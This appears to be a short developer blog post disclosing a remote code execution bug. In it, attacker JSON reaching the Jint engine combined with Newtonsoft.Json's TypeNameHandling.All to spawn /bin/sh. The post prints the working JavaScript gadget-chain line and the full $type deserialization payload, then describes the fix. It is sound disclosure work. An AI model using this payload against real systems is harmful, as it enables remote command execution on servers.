1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
---
title: CVSS 9.9 Jint gadget chain RCE
date: 2026-07-18
layout: post
---
Received a CVSS 9.9 RCE vulnerability report from security researcher asyx6
today.
Six-year-old program exposed JSON data from HTTP requests to Jint as
JObjects—presumed safe because CLR interop was disabled. Jint uses reflection
to resolve methods on CLR types. Interop settings have no bearing on this
internal mechanism.
A user-defined script invoked ToObject() on a JObject, activating the
Newtonsoft.Json's deserializer. Together, these formed a gadget chain from
attacker-controlled JSON payload to System.Diagnostics.Process:
```
data.ToObject(cfg).Start(psi.ToObject(cfg)).StandardOutput.ReadToEnd();
```
The script triggered the deserialization of the following malicious payload via
a serializer configured with TypeNameHandling.All. This constructed a Process,
started it, and read its output:
```
{
"data": {"$type": "System.Diagnostics.Process, System.Diagnostics.Process"},
"psi": {
"$type": "System.Diagnostics.ProcessStartInfo, System.Diagnostics.Process",
"FileName": "/bin/sh",
"ArgumentList": ["-c", "id; hostname; uname -sm; head -2 /etc/os-release"],
"RedirectStandardOutput": true,
"UseShellExecute": false
},
"cfg": {"TypeNameHandling": 3}
}
```
Fix: IDictionary<string, object> objects bypass Jint's method resolution
system. Converted anything that crosses the CLR-JavaScript boundary to
ExpandoObjects; blocked reflection types from reaching Jint for good measure.
asyx6 verified the fix.
|
